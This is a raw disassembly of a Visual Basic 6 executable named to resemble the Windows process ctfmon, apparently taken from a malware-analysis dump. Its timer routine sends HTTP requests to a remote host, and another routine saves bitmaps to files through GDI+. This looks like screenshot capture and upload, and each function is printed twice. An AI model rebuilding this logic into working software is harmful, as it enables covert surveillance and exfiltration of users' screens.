File cftmon_3c4444c8339f2b4c04931a379daf9d041854b168e45f949515f90b124821d626.exe
Function:
Loading..
004091c0
004091c0frmMain.t_save_Timer:
004091c0push ebp
004091c1mov ebp, esp
004091c3sub esp, 24
004091c6push 0x4014a6
004091cbmov eax, [0x0]
004091d1push eax
004091d2mov [0x0], esp
004091d9mov eax, 120
004091decall __vbaChkstk
004091e3push ebx
004091e4push esi
004091e5push edi
004091e6mov [ebp-24], esp
004091e9mov [ebp-20], 0x4013c8
004091f0mov eax, [ebp+8]
004091f3and eax, 1
004091f6mov [ebp-16], eax
004091f9mov ecx, [ebp+8]
004091fcand ecx, -2
004091ffmov [ebp+8], ecx
00409202mov [ebp-12], 0
00409209mov edx, [ebp+8]
0040920cmov eax, [edx]
0040920emov ecx, [ebp+8]
00409211push ecx
00409212call [eax+4]
00409215mov [ebp-4], 1
0040921cmov [ebp-4], 2
00409223push -1
00409225call imp:msvbvm60!__vbaOnError
0040922bmov [ebp-4], 3
00409232mov edx, [ebp+8]
00409235mov eax, [edx]
00409237mov ecx, [ebp+8]
0040923apush ecx
0040923bcall [eax+780]
00409241push eax
00409242lea edx, [ebp-100]
00409245push edx
00409246call imp:msvbvm60!__vbaObjSet
0040924cmov [ebp-112], eax
0040924flea eax, [ebp-72]
00409252push eax
00409253mov ecx, [ebp-112]
00409256mov edx, [ecx]
00409258mov eax, [ebp-112]
0040925bpush eax
0040925ccall [edx+160]
00409262fnclex
00409264mov [ebp-116], eax
00409267cmp [ebp-116], 0
0040926bjge 0x40928d
0040926dpush 160
00409272push 0x403038
00409277mov ecx, [ebp-112]
0040927apush ecx
0040927bmov edx, [ebp-116]
0040927epush edx
0040927fcall imp:msvbvm60!__vbaHresultCheckObj
00409285mov [ebp-144], eax
0040928bjmp 0x409297
0040928d
0040928dloc_40928d:
0040928dmov [ebp-144], 0
00409297
00409297loc_409297:
00409297mov eax, [ebp-72]
0040929apush eax
0040929bpush 0x403174
004092a0call imp:msvbvm60!__vbaStrCmp
004092a6neg eax
004092a8sbb eax, eax
004092aaneg eax
004092acneg eax
004092aemov [ebp-120], ax
004092b2lea ecx, [ebp-72]
004092b5call imp:msvbvm60!__vbaFreeStr
004092bblea ecx, [ebp-100]
004092becall imp:msvbvm60!__vbaFreeObj
004092c4movsx ecx, [ebp-120]
004092c8test ecx, ecx
004092caje 0x40958b
004092d0mov [ebp-4], 4
004092d7push 0
004092d9push 0
004092dbpush 0
004092ddpush 0
004092dfpush 0x40268c
004092e4lea edx, [ebp-72]
004092e7push edx
004092e8call imp:msvbvm60!__vbaStrToAnsi
004092eepush eax
004092efcall InternetOpenA
004092f4mov [ebp-108], eax
004092f7call imp:msvbvm60!__vbaSetSystemError
004092fdmov eax, [ebp-108]
00409300mov [ebp-56], eax
00409303lea ecx, [ebp-72]
00409306call imp:msvbvm60!__vbaFreeStr
0040930cmov [ebp-4], 5
00409313push 0
00409315push 0
00409317push 3
00409319push 0x403174
0040931elea ecx, [ebp-80]
00409321push ecx
00409322call imp:msvbvm60!__vbaStrToAnsi
00409328push eax
00409329push 0x403174
0040932elea edx, [ebp-76]
00409331push edx
00409332call imp:msvbvm60!__vbaStrToAnsi
00409338push eax
00409339push 80
0040933bpush 0x402658
00409340lea eax, [ebp-72]
00409343push eax
00409344call imp:msvbvm60!__vbaStrToAnsi
0040934apush eax
0040934bmov ecx, [ebp-56]
0040934epush ecx
0040934fcall InternetConnectA
00409354mov [ebp-108], eax
00409357call imp:msvbvm60!__vbaSetSystemError
0040935dmov edx, [ebp-108]
00409360mov [ebp-52], edx
00409363lea eax, [ebp-80]
00409366push eax
00409367lea ecx, [ebp-76]
0040936apush ecx
0040936blea edx, [ebp-72]
0040936epush edx
0040936fpush 3
00409371call imp:msvbvm60!__vbaFreeStrList
00409377add esp, 16
0040937amov [ebp-4], 6
00409381mov eax, [ebp+8]
00409384mov ecx, [eax]
00409386mov edx, [ebp+8]
00409389push edx
0040938acall [ecx+780]
00409390push eax
00409391lea eax, [ebp-100]
00409394push eax
00409395call imp:msvbvm60!__vbaObjSet
0040939bmov [ebp-112], eax
0040939elea ecx, [ebp-72]
004093a1push ecx
004093a2mov edx, [ebp-112]
004093a5mov eax, [edx]
004093a7mov ecx, [ebp-112]
004093aapush ecx
004093abcall [eax+160]
004093b1fnclex
004093b3mov [ebp-116], eax
004093b6cmp [ebp-116], 0
004093bajge 0x4093dc
004093bcpush 160
004093c1push 0x403038
004093c6mov edx, [ebp-112]
004093c9push edx
004093camov eax, [ebp-116]
004093cdpush eax
004093cecall imp:msvbvm60!__vbaHresultCheckObj
004093d4mov [ebp-148], eax
004093dajmp 0x4093e6
004093dc
004093dcloc_4093dc:
004093dcmov [ebp-148], 0
004093e6
004093e6loc_4093e6:
004093e6push 0
004093e8push 0xffffffff80000000
004093edpush 0
004093efpush 0
004093f1push 0x402f00
004093f6lea ecx, [ebp-96]
004093f9push ecx
004093facall imp:msvbvm60!__vbaStrToAnsi
00409400push eax
00409401push 0x403654
00409406mov edx, [ebp-72]
00409409push edx
0040940acall imp:msvbvm60!__vbaStrCat
00409410mov edx, eax
00409412lea ecx, [ebp-76]
00409415call imp:msvbvm60!__vbaStrMove
0040941bpush eax
0040941cpush 0x4031b0
00409421call imp:msvbvm60!__vbaStrCat
00409427mov edx, eax
00409429lea ecx, [ebp-80]
0040942ccall imp:msvbvm60!__vbaStrMove
00409432push eax
00409433mov eax, [ebp+8]
00409436mov ecx, [eax+56]
00409439push ecx
0040943acall imp:msvbvm60!__vbaStrCat
00409440mov edx, eax
00409442lea ecx, [ebp-88]
00409445call imp:msvbvm60!__vbaStrMove
0040944bpush eax
0040944clea edx, [ebp-92]
0040944fpush edx
00409450call imp:msvbvm60!__vbaStrToAnsi
00409456push eax
00409457push 0x40317c
0040945clea eax, [ebp-84]
0040945fpush eax
00409460call imp:msvbvm60!__vbaStrToAnsi
00409466push eax
00409467mov ecx, [ebp-52]
0040946apush ecx
0040946bcall HttpOpenRequestA
00409470mov [ebp-108], eax
00409473call imp:msvbvm60!__vbaSetSystemError
00409479mov edx, [ebp-108]
0040947cmov [ebp-60], edx
0040947flea eax, [ebp-96]
00409482push eax
00409483lea ecx, [ebp-92]
00409486push ecx
00409487lea edx, [ebp-88]
0040948apush edx
0040948blea eax, [ebp-84]
0040948epush eax
0040948flea ecx, [ebp-80]
00409492push ecx
00409493lea edx, [ebp-76]
00409496push edx
00409497lea eax, [ebp-72]
0040949apush eax
0040949bpush 7
0040949dcall imp:msvbvm60!__vbaFreeStrList
004094a3add esp, 32
004094a6lea ecx, [ebp-100]
004094a9call imp:msvbvm60!__vbaFreeObj
004094afmov [ebp-4], 7
004094b6push 0
004094b8push 0
004094bacall imp:msvbvm60!__vbaStrI2
004094c0mov edx, eax
004094c2lea ecx, [ebp-72]
004094c5call imp:msvbvm60!__vbaStrMove
004094cbpush eax
004094cclea ecx, [ebp-76]
004094cfpush ecx
004094d0call imp:msvbvm60!__vbaStrToAnsi
004094d6push eax
004094d7push 0
004094d9push 0
004094dbmov edx, [ebp-60]
004094depush edx
004094dfcall HttpSendRequestA
004094e4mov [ebp-104], ax
004094e8call imp:msvbvm60!__vbaSetSystemError
004094eemovsx eax, [ebp-104]
004094f2mov [ebp-48], eax
004094f5lea ecx, [ebp-76]
004094f8push ecx
004094f9lea edx, [ebp-72]
004094fcpush edx
004094fdpush 2
004094ffcall imp:msvbvm60!__vbaFreeStrList
00409505add esp, 12
00409508mov [ebp-4], 8
0040950fcmp [ebp-48], 0
00409513je 0x40958b
00409515mov [ebp-4], 9
0040951cmov eax, [ebp+8]
0040951fmov ecx, [eax]
00409521mov edx, [ebp+8]
00409524push edx
00409525call [ecx+780]
0040952bpush eax
0040952clea eax, [ebp-100]
0040952fpush eax
00409530call imp:msvbvm60!__vbaObjSet
00409536mov [ebp-112], eax
00409539push 0x403174
0040953emov ecx, [ebp-112]
00409541mov edx, [ecx]
00409543mov eax, [ebp-112]
00409546push eax
00409547call [edx+164]
0040954dfnclex
0040954fmov [ebp-116], eax
00409552cmp [ebp-116], 0
00409556jge 0x409578
00409558push 164
0040955dpush 0x403038
00409562mov ecx, [ebp-112]
00409565push ecx
00409566mov edx, [ebp-116]
00409569push edx
0040956acall imp:msvbvm60!__vbaHresultCheckObj
00409570mov [ebp-152], eax
00409576jmp 0x409582
00409578
00409578loc_409578:
00409578mov [ebp-152], 0
00409582
00409582loc_409582:
00409582lea ecx, [ebp-100]
00409585call imp:msvbvm60!__vbaFreeObj
0040958b
0040958bloc_40958b:
0040958bmov [ebp-4], 12
00409592mov eax, [ebp-60]
00409595push eax
00409596call InternetCloseHandle
0040959bcall imp:msvbvm60!__vbaSetSystemError
004095a1mov [ebp-4], 13
004095a8mov ecx, [ebp-56]
004095abpush ecx
004095accall InternetCloseHandle
004095b1call imp:msvbvm60!__vbaSetSystemError
004095b7mov [ebp-4], 14
004095bemov edx, [ebp-52]
004095c1push edx
004095c2call InternetCloseHandle
004095c7call imp:msvbvm60!__vbaSetSystemError
004095cdmov [ebp-16], 0
004095d4push 0x40960d
004095d9jmp 0x40960c
004095db
004095db 8d 45 a0 50 8d .E.P.
004095e0 4d a4 51 8d 55 a8 52 8d 45 ac 50 8d 4d b0 51 8d M.Q.U.R.E.P.M.Q.
004095f0 55 b4 52 8d 45 b8 50 6a 07 ff 15 08 11 40 00 83 U.R.E.Pj.....@..
00409600 c4 20 8d 4d 9c ff 15 60 11 40 00 c3 . .M...`.@..
0040960c
0040960cloc_40960c:
0040960cret
0040960dmov ecx, [ebp+8]
00409610mov edx, [ecx]
00409612mov eax, [ebp+8]
00409615push eax
00409616call [edx+8]
00409619mov eax, [ebp-16]
0040961cmov ecx, [ebp-32]
0040961fmov [0x0], ecx
00409626pop edi
00409627pop esi
00409628pop ebx
00409629mov esp, ebp
0040962bpop ebp
0040962cret 4
004091c0
004091c0frmMain.t_save_Timer:
004091c0push ebp
004091c1mov ebp, esp
004091c3sub esp, 24
004091c6push 0x4014a6
004091cbmov eax, [0x0]
004091d1push eax
004091d2mov [0x0], esp
004091d9mov eax, 120
004091decall __vbaChkstk
004091e3push ebx
004091e4push esi
004091e5push edi
004091e6mov [ebp-24], esp
004091e9mov [ebp-20], 0x4013c8
004091f0mov eax, [ebp+8]
004091f3and eax, 1
004091f6mov [ebp-16], eax
004091f9mov ecx, [ebp+8]
004091fcand ecx, -2
004091ffmov [ebp+8], ecx
00409202mov [ebp-12], 0
00409209mov edx, [ebp+8]
0040920cmov eax, [edx]
0040920emov ecx, [ebp+8]
00409211push ecx
00409212call [eax+4]
00409215mov [ebp-4], 1
0040921cmov [ebp-4], 2
00409223push -1
00409225call imp:msvbvm60!__vbaOnError
0040922bmov [ebp-4], 3
00409232mov edx, [ebp+8]
00409235mov eax, [edx]
00409237mov ecx, [ebp+8]
0040923apush ecx
0040923bcall [eax+780]
00409241push eax
00409242lea edx, [ebp-100]
00409245push edx
00409246call imp:msvbvm60!__vbaObjSet
0040924cmov [ebp-112], eax
0040924flea eax, [ebp-72]
00409252push eax
00409253mov ecx, [ebp-112]
00409256mov edx, [ecx]
00409258mov eax, [ebp-112]
0040925bpush eax
0040925ccall [edx+160]
00409262fnclex
00409264mov [ebp-116], eax
00409267cmp [ebp-116], 0
0040926bjge 0x40928d
0040926dpush 160
00409272push 0x403038
00409277mov ecx, [ebp-112]
0040927apush ecx
0040927bmov edx, [ebp-116]
0040927epush edx
0040927fcall imp:msvbvm60!__vbaHresultCheckObj
00409285mov [ebp-144], eax
0040928bjmp 0x409297
0040928d
0040928dloc_40928d:
0040928dmov [ebp-144], 0
00409297
00409297loc_409297:
00409297mov eax, [ebp-72]
0040929apush eax
0040929bpush 0x403174
004092a0call imp:msvbvm60!__vbaStrCmp
004092a6neg eax
004092a8sbb eax, eax
004092aaneg eax
004092acneg eax
004092aemov [ebp-120], ax
004092b2lea ecx, [ebp-72]
004092b5call imp:msvbvm60!__vbaFreeStr
004092bblea ecx, [ebp-100]
004092becall imp:msvbvm60!__vbaFreeObj
004092c4movsx ecx, [ebp-120]
004092c8test ecx, ecx
004092caje 0x40958b
004092d0mov [ebp-4], 4
004092d7push 0
004092d9push 0
004092dbpush 0
004092ddpush 0
004092dfpush 0x40268c
004092e4lea edx, [ebp-72]
004092e7push edx
004092e8call imp:msvbvm60!__vbaStrToAnsi
004092eepush eax
004092efcall InternetOpenA
004092f4mov [ebp-108], eax
004092f7call imp:msvbvm60!__vbaSetSystemError
004092fdmov eax, [ebp-108]
00409300mov [ebp-56], eax
00409303lea ecx, [ebp-72]
00409306call imp:msvbvm60!__vbaFreeStr
0040930cmov [ebp-4], 5
00409313push 0
00409315push 0
00409317push 3
00409319push 0x403174
0040931elea ecx, [ebp-80]
00409321push ecx
00409322call imp:msvbvm60!__vbaStrToAnsi
00409328push eax
00409329push 0x403174
0040932elea edx, [ebp-76]
00409331push edx
00409332call imp:msvbvm60!__vbaStrToAnsi
00409338push eax
00409339push 80
0040933bpush 0x402658
00409340lea eax, [ebp-72]
00409343push eax
00409344call imp:msvbvm60!__vbaStrToAnsi
0040934apush eax
0040934bmov ecx, [ebp-56]
0040934epush ecx
0040934fcall InternetConnectA
00409354mov [ebp-108], eax
00409357call imp:msvbvm60!__vbaSetSystemError
0040935dmov edx, [ebp-108]
00409360mov [ebp-52], edx
00409363lea eax, [ebp-80]
00409366push eax
00409367lea ecx, [ebp-76]
0040936apush ecx
0040936blea edx, [ebp-72]
0040936epush edx
0040936fpush 3
00409371call imp:msvbvm60!__vbaFreeStrList
00409377add esp, 16
0040937amov [ebp-4], 6
00409381mov eax, [ebp+8]
00409384mov ecx, [eax]
00409386mov edx, [ebp+8]
00409389push edx
0040938acall [ecx+780]
00409390push eax
00409391lea eax, [ebp-100]
00409394push eax
00409395call imp:msvbvm60!__vbaObjSet
0040939bmov [ebp-112], eax
0040939elea ecx, [ebp-72]
004093a1push ecx
004093a2mov edx, [ebp-112]
004093a5mov eax, [edx]
004093a7mov ecx, [ebp-112]
004093aapush ecx
004093abcall [eax+160]
004093b1fnclex
004093b3mov [ebp-116], eax
004093b6cmp [ebp-116], 0
004093bajge 0x4093dc
004093bcpush 160
004093c1push 0x403038
004093c6mov edx, [ebp-112]
004093c9push edx
004093camov eax, [ebp-116]
004093cdpush eax
004093cecall imp:msvbvm60!__vbaHresultCheckObj
004093d4mov [ebp-148], eax
004093dajmp 0x4093e6
004093dc
004093dcloc_4093dc:
004093dcmov [ebp-148], 0
004093e6
004093e6loc_4093e6:
004093e6push 0
004093e8push 0xffffffff80000000
004093edpush 0
004093efpush 0
004093f1push 0x402f00
004093f6lea ecx, [ebp-96]
004093f9push ecx
004093facall imp:msvbvm60!__vbaStrToAnsi
00409400push eax
00409401push 0x403654
00409406mov edx, [ebp-72]
00409409push edx
0040940acall imp:msvbvm60!__vbaStrCat
00409410mov edx, eax
00409412lea ecx, [ebp-76]
00409415call imp:msvbvm60!__vbaStrMove
0040941bpush eax
0040941cpush 0x4031b0
00409421call imp:msvbvm60!__vbaStrCat
00409427mov edx, eax
00409429lea ecx, [ebp-80]
0040942ccall imp:msvbvm60!__vbaStrMove
00409432push eax
00409433mov eax, [ebp+8]
00409436mov ecx, [eax+56]
00409439push ecx
0040943acall imp:msvbvm60!__vbaStrCat
00409440mov edx, eax
00409442lea ecx, [ebp-88]
00409445call imp:msvbvm60!__vbaStrMove
0040944bpush eax
0040944clea edx, [ebp-92]
0040944fpush edx
00409450call imp:msvbvm60!__vbaStrToAnsi
00409456push eax
00409457push 0x40317c
0040945clea eax, [ebp-84]
0040945fpush eax
00409460call imp:msvbvm60!__vbaStrToAnsi
00409466push eax
00409467mov ecx, [ebp-52]
0040946apush ecx
0040946bcall HttpOpenRequestA
00409470mov [ebp-108], eax
00409473call imp:msvbvm60!__vbaSetSystemError
00409479mov edx, [ebp-108]
0040947cmov [ebp-60], edx
0040947flea eax, [ebp-96]
00409482push eax
00409483lea ecx, [ebp-92]
00409486push ecx
00409487lea edx, [ebp-88]
0040948apush edx
0040948blea eax, [ebp-84]
0040948epush eax
0040948flea ecx, [ebp-80]
00409492push ecx
00409493lea edx, [ebp-76]
00409496push edx
00409497lea eax, [ebp-72]
0040949apush eax
0040949bpush 7
0040949dcall imp:msvbvm60!__vbaFreeStrList
004094a3add esp, 32
004094a6lea ecx, [ebp-100]
004094a9call imp:msvbvm60!__vbaFreeObj
004094afmov [ebp-4], 7
004094b6push 0
004094b8push 0
004094bacall imp:msvbvm60!__vbaStrI2
004094c0mov edx, eax
004094c2lea ecx, [ebp-72]
004094c5call imp:msvbvm60!__vbaStrMove
004094cbpush eax
004094cclea ecx, [ebp-76]
004094cfpush ecx
004094d0call imp:msvbvm60!__vbaStrToAnsi
004094d6push eax
004094d7push 0
004094d9push 0
004094dbmov edx, [ebp-60]
004094depush edx
004094dfcall HttpSendRequestA
004094e4mov [ebp-104], ax
004094e8call imp:msvbvm60!__vbaSetSystemError
004094eemovsx eax, [ebp-104]
004094f2mov [ebp-48], eax
004094f5lea ecx, [ebp-76]
004094f8push ecx
004094f9lea edx, [ebp-72]
004094fcpush edx
004094fdpush 2
004094ffcall imp:msvbvm60!__vbaFreeStrList
00409505add esp, 12
00409508mov [ebp-4], 8
0040950fcmp [ebp-48], 0
00409513je 0x40958b
00409515mov [ebp-4], 9
0040951cmov eax, [ebp+8]
0040951fmov ecx, [eax]
00409521mov edx, [ebp+8]
00409524push edx
00409525call [ecx+780]
0040952bpush eax
0040952clea eax, [ebp-100]
0040952fpush eax
00409530call imp:msvbvm60!__vbaObjSet
00409536mov [ebp-112], eax
00409539push 0x403174
0040953emov ecx, [ebp-112]
00409541mov edx, [ecx]
00409543mov eax, [ebp-112]
00409546push eax
00409547call [edx+164]
0040954dfnclex
0040954fmov [ebp-116], eax
00409552cmp [ebp-116], 0
00409556jge 0x409578
00409558push 164
0040955dpush 0x403038
00409562mov ecx, [ebp-112]
00409565push ecx
00409566mov edx, [ebp-116]
00409569push edx
0040956acall imp:msvbvm60!__vbaHresultCheckObj
00409570mov [ebp-152], eax
00409576jmp 0x409582
00409578
00409578loc_409578:
00409578mov [ebp-152], 0
00409582
00409582loc_409582:
00409582lea ecx, [ebp-100]
00409585call imp:msvbvm60!__vbaFreeObj
0040958b
0040958bloc_40958b:
0040958bmov [ebp-4], 12
00409592mov eax, [ebp-60]
00409595push eax
00409596call InternetCloseHandle
0040959bcall imp:msvbvm60!__vbaSetSystemError
004095a1mov [ebp-4], 13
004095a8mov ecx, [ebp-56]
004095abpush ecx
004095accall InternetCloseHandle
004095b1call imp:msvbvm60!__vbaSetSystemError
004095b7mov [ebp-4], 14
004095bemov edx, [ebp-52]
004095c1push edx
004095c2call InternetCloseHandle
004095c7call imp:msvbvm60!__vbaSetSystemError
004095cdmov [ebp-16], 0
004095d4push 0x40960d
004095d9jmp 0x40960c
004095db
004095db 8d 45 a0 50 8d .E.P.
004095e0 4d a4 51 8d 55 a8 52 8d 45 ac 50 8d 4d b0 51 8d M.Q.U.R.E.P.M.Q.
004095f0 55 b4 52 8d 45 b8 50 6a 07 ff 15 08 11 40 00 83 U.R.E.Pj.....@..
00409600 c4 20 8d 4d 9c ff 15 60 11 40 00 c3 . .M...`.@..
0040960c
0040960cloc_40960c:
0040960cret
0040960dmov ecx, [ebp+8]
00409610mov edx, [ecx]
00409612mov eax, [ebp+8]
00409615push eax
00409616call [edx+8]
00409619mov eax, [ebp-16]
0040961cmov ecx, [ebp-32]
0040961fmov [0x0], ecx
00409626pop edi
00409627pop esi
00409628pop ebx
00409629mov esp, ebp
0040962bpop ebp
0040962cret 4
004091c0
0040962f
0040962f // align 0x10
0040962f // align 0x10
00409630
00409630frmMain.proc_456:
00409630push ebp
00409631mov ebp, esp
00409633sub esp, 24
00409636push 0x4014a6
0040963bmov eax, [0x0]
00409641push eax
00409642mov [0x0], esp
00409649mov eax, 132
0040964ecall __vbaChkstk
00409653push ebx
00409654push esi
00409655push edi
00409656mov [ebp-24], esp
00409659mov [ebp-20], 0x401428
00409660mov [ebp-16], 0
00409667mov [ebp-12], 0
0040966emov [ebp-4], 1
00409675mov eax, [ebp+12]
00409678push eax
00409679lea ecx, [ebp-68]
0040967cpush ecx
0040967dcall imp:msvbvm60!__vbaObjSetAddref
00409683mov edx, [ebp+16]
00409686lea ecx, [ebp-112]
00409689call imp:msvbvm60!__vbaStrCopy
0040968fmov [ebp-4], 2
00409696push -1
00409698call imp:msvbvm60!__vbaOnError
0040969emov [ebp-4], 3
004096a5mov [ebp-84], 1
004096acmov [ebp-4], 4
004096b3push 0
004096b5lea edx, [ebp-84]
004096b8push edx
004096b9lea eax, [ebp-108]
004096bcpush eax
004096bdcall GdiplusStartup
004096c2mov [ebp-136], eax
004096c8call imp:msvbvm60!__vbaSetSystemError
004096cemov ecx, [ebp-136]
004096d4mov [ebp-88], ecx
004096d7mov [ebp-4], 5
004096decmp [ebp-88], 0
004096e2jne 0x409892
004096e8mov [ebp-4], 6
004096efpush 0
004096f1push 0
004096f3mov edx, [ebp-68]
004096f6push edx
004096f7lea eax, [ebp-132]
004096fdpush eax
004096fecall imp:msvbvm60!__vbaLateIdCallLd
00409704add esp, 16
00409707lea ecx, [ebp-116]
0040970apush ecx
0040970bpush 0
0040970dlea edx, [ebp-132]
00409713push edx
00409714call imp:msvbvm60!__vbaI4Var
0040971apush eax
0040971bcall GdipCreateBitmapFromHBITMAP
00409720mov [ebp-136], eax
00409726call imp:msvbvm60!__vbaSetSystemError
0040972cmov eax, [ebp-136]
00409732mov [ebp-88], eax
00409735lea ecx, [ebp-132]
0040973bcall imp:msvbvm60!__vbaFreeVar
00409741mov [ebp-4], 7
00409748cmp [ebp-88], 0
0040974cjne 0x40987c
00409752mov [ebp-4], 8
00409759push 0x403678
0040975ecall imp:msvbvm60!VarPtr
00409764mov [ebp-136], eax
0040976alea ecx, [ebp-104]
0040976dpush ecx
0040976emov edx, [ebp-136]
00409774push edx
00409775call CLSIDFromString
0040977acall imp:msvbvm60!__vbaSetSystemError
00409780mov [ebp-4], 9
00409787mov [ebp-64], 1
0040978emov [ebp-4], 10
00409795lea eax, [ebp-60]
00409798mov [ebp-144], eax
0040979emov [ebp-4], 11
004097a5push 0x4036cc
004097aacall imp:msvbvm60!VarPtr
004097b0mov [ebp-136], eax
004097b6mov ecx, [ebp-144]
004097bcpush ecx
004097bdmov edx, [ebp-136]
004097c3push edx
004097c4call CLSIDFromString
004097c9call imp:msvbvm60!__vbaSetSystemError
004097cfmov [ebp-4], 12
004097d6mov eax, [ebp-144]
004097dcmov [eax+16], 1
004097e3mov [ebp-4], 13
004097eamov ecx, [ebp-144]
004097f0mov [ecx+20], 4
004097f7mov [ebp-4], 14
004097felea edx, [ebp+20]
00409801push edx
00409802call imp:msvbvm60!VarPtr
00409808mov ecx, [ebp-144]
0040980emov [ecx+24], eax
00409811mov [ebp-4], 15
00409818mov [ebp-144], 0
00409822mov [ebp-4], 16
00409829mov edx, [ebp-112]
0040982cpush edx
0040982dcall imp:msvbvm60!VarPtr
00409833mov [ebp-140], eax
00409839lea eax, [ebp-64]
0040983cpush eax
0040983dlea ecx, [ebp-104]
00409840push ecx
00409841mov edx, [ebp-140]
00409847push edx
00409848mov eax, [ebp-116]
0040984bpush eax
0040984ccall GdipSaveImageToFile
00409851mov [ebp-136], eax
00409857call imp:msvbvm60!__vbaSetSystemError
0040985dmov ecx, [ebp-136]
00409863mov [ebp-88], ecx
00409866mov [ebp-4], 17
0040986dmov edx, [ebp-116]
00409870push edx
00409871call GdipDisposeImage
00409876call imp:msvbvm60!__vbaSetSystemError
0040987c
0040987cloc_40987c:
0040987cmov [ebp-4], 19
00409883mov eax, [ebp-108]
00409886push eax
00409887call GdiplusShutdown
0040988ccall imp:msvbvm60!__vbaSetSystemError
00409892
00409892loc_409892:
00409892push 0x4098b9
00409897jmp 0x4098a6
00409899
00409899 8d 8d 7c ff ff ff ff ..|....
004098a0 15 0c 10 40 00 c3 ...@..
004098a6
004098a6loc_4098a6:
004098a6lea ecx, [ebp-68]
004098a9call imp:msvbvm60!__vbaFreeObj
004098aflea ecx, [ebp-112]
004098b2call imp:msvbvm60!__vbaFreeStr
004098b8ret
004098b9xor eax, eax
004098bbmov ecx, [ebp-32]
004098bemov [0x0], ecx
004098c5pop edi
004098c6pop esi
004098c7pop ebx
004098c8mov esp, ebp
004098capop ebp
004098cbret 16
00409630
00409630frmMain.proc_456:
00409630push ebp
00409631mov ebp, esp
00409633sub esp, 24
00409636push 0x4014a6
0040963bmov eax, [0x0]
00409641push eax
00409642mov [0x0], esp
00409649mov eax, 132
0040964ecall __vbaChkstk
00409653push ebx
00409654push esi
00409655push edi
00409656mov [ebp-24], esp
00409659mov [ebp-20], 0x401428
00409660mov [ebp-16], 0
00409667mov [ebp-12], 0
0040966emov [ebp-4], 1
00409675mov eax, [ebp+12]
00409678push eax
00409679lea ecx, [ebp-68]
0040967cpush ecx
0040967dcall imp:msvbvm60!__vbaObjSetAddref
00409683mov edx, [ebp+16]
00409686lea ecx, [ebp-112]
00409689call imp:msvbvm60!__vbaStrCopy
0040968fmov [ebp-4], 2
00409696push -1
00409698call imp:msvbvm60!__vbaOnError
0040969emov [ebp-4], 3
004096a5mov [ebp-84], 1
004096acmov [ebp-4], 4
004096b3push 0
004096b5lea edx, [ebp-84]
004096b8push edx
004096b9lea eax, [ebp-108]
004096bcpush eax
004096bdcall GdiplusStartup
004096c2mov [ebp-136], eax
004096c8call imp:msvbvm60!__vbaSetSystemError
004096cemov ecx, [ebp-136]
004096d4mov [ebp-88], ecx
004096d7mov [ebp-4], 5
004096decmp [ebp-88], 0
004096e2jne 0x409892
004096e8mov [ebp-4], 6
004096efpush 0
004096f1push 0
004096f3mov edx, [ebp-68]
004096f6push edx
004096f7lea eax, [ebp-132]
004096fdpush eax
004096fecall imp:msvbvm60!__vbaLateIdCallLd
00409704add esp, 16
00409707lea ecx, [ebp-116]
0040970apush ecx
0040970bpush 0
0040970dlea edx, [ebp-132]
00409713push edx
00409714call imp:msvbvm60!__vbaI4Var
0040971apush eax
0040971bcall GdipCreateBitmapFromHBITMAP
00409720mov [ebp-136], eax
00409726call imp:msvbvm60!__vbaSetSystemError
0040972cmov eax, [ebp-136]
00409732mov [ebp-88], eax
00409735lea ecx, [ebp-132]
0040973bcall imp:msvbvm60!__vbaFreeVar
00409741mov [ebp-4], 7
00409748cmp [ebp-88], 0
0040974cjne 0x40987c
00409752mov [ebp-4], 8
00409759push 0x403678
0040975ecall imp:msvbvm60!VarPtr
00409764mov [ebp-136], eax
0040976alea ecx, [ebp-104]
0040976dpush ecx
0040976emov edx, [ebp-136]
00409774push edx
00409775call CLSIDFromString
0040977acall imp:msvbvm60!__vbaSetSystemError
00409780mov [ebp-4], 9
00409787mov [ebp-64], 1
0040978emov [ebp-4], 10
00409795lea eax, [ebp-60]
00409798mov [ebp-144], eax
0040979emov [ebp-4], 11
004097a5push 0x4036cc
004097aacall imp:msvbvm60!VarPtr
004097b0mov [ebp-136], eax
004097b6mov ecx, [ebp-144]
004097bcpush ecx
004097bdmov edx, [ebp-136]
004097c3push edx
004097c4call CLSIDFromString
004097c9call imp:msvbvm60!__vbaSetSystemError
004097cfmov [ebp-4], 12
004097d6mov eax, [ebp-144]
004097dcmov [eax+16], 1
004097e3mov [ebp-4], 13
004097eamov ecx, [ebp-144]
004097f0mov [ecx+20], 4
004097f7mov [ebp-4], 14
004097felea edx, [ebp+20]
00409801push edx
00409802call imp:msvbvm60!VarPtr
00409808mov ecx, [ebp-144]
0040980emov [ecx+24], eax
00409811mov [ebp-4], 15
00409818mov [ebp-144], 0
00409822mov [ebp-4], 16
00409829mov edx, [ebp-112]
0040982cpush edx
0040982dcall imp:msvbvm60!VarPtr
00409833mov [ebp-140], eax
00409839lea eax, [ebp-64]
0040983cpush eax
0040983dlea ecx, [ebp-104]
00409840push ecx
00409841mov edx, [ebp-140]
00409847push edx
00409848mov eax, [ebp-116]
0040984bpush eax
0040984ccall GdipSaveImageToFile
00409851mov [ebp-136], eax
00409857call imp:msvbvm60!__vbaSetSystemError
0040985dmov ecx, [ebp-136]
00409863mov [ebp-88], ecx
00409866mov [ebp-4], 17
0040986dmov edx, [ebp-116]
00409870push edx
00409871call GdipDisposeImage
00409876call imp:msvbvm60!__vbaSetSystemError
0040987c
0040987cloc_40987c:
0040987cmov [ebp-4], 19
00409883mov eax, [ebp-108]
00409886push eax
00409887call GdiplusShutdown
0040988ccall imp:msvbvm60!__vbaSetSystemError
00409892
00409892loc_409892:
00409892push 0x4098b9
00409897jmp 0x4098a6
00409899
00409899 8d 8d 7c ff ff ff ff ..|....
004098a0 15 0c 10 40 00 c3 ...@..
004098a6
004098a6loc_4098a6:
004098a6lea ecx, [ebp-68]
004098a9call imp:msvbvm60!__vbaFreeObj
004098aflea ecx, [ebp-112]
004098b2call imp:msvbvm60!__vbaFreeStr
004098b8ret
004098b9xor eax, eax
004098bbmov ecx, [ebp-32]
004098bemov [0x0], ecx
004098c5pop edi
004098c6pop esi
004098c7pop ebx
004098c8mov esp, ebp
004098capop ebp
004098cbret 16
00409630
004098ce
004098ce // align 0x10
004098d0
004098d0 9e 9e 9e 9e ....
004098d4
004098d4 struct IMAGE_IMPORT_DESCRIPTOR
004098d4 OriginalFirstThunk uint32 0x4098fc ; RVA to the Import Lookup Table (pre-binding; preferred for name resolution)
004098d8 TimeDateStamp uint32 0xffffffff ; 0 for unbound import; non-zero records the bind-time DLL timestamp
004098dc ForwarderChain uint32 0xffffffff ; index of the first forwarder reference; 0xFFFFFFFF marks no forwarder
004098e0 Name uint32 0x409a6c ; RVA to the NUL-terminated DLL name string
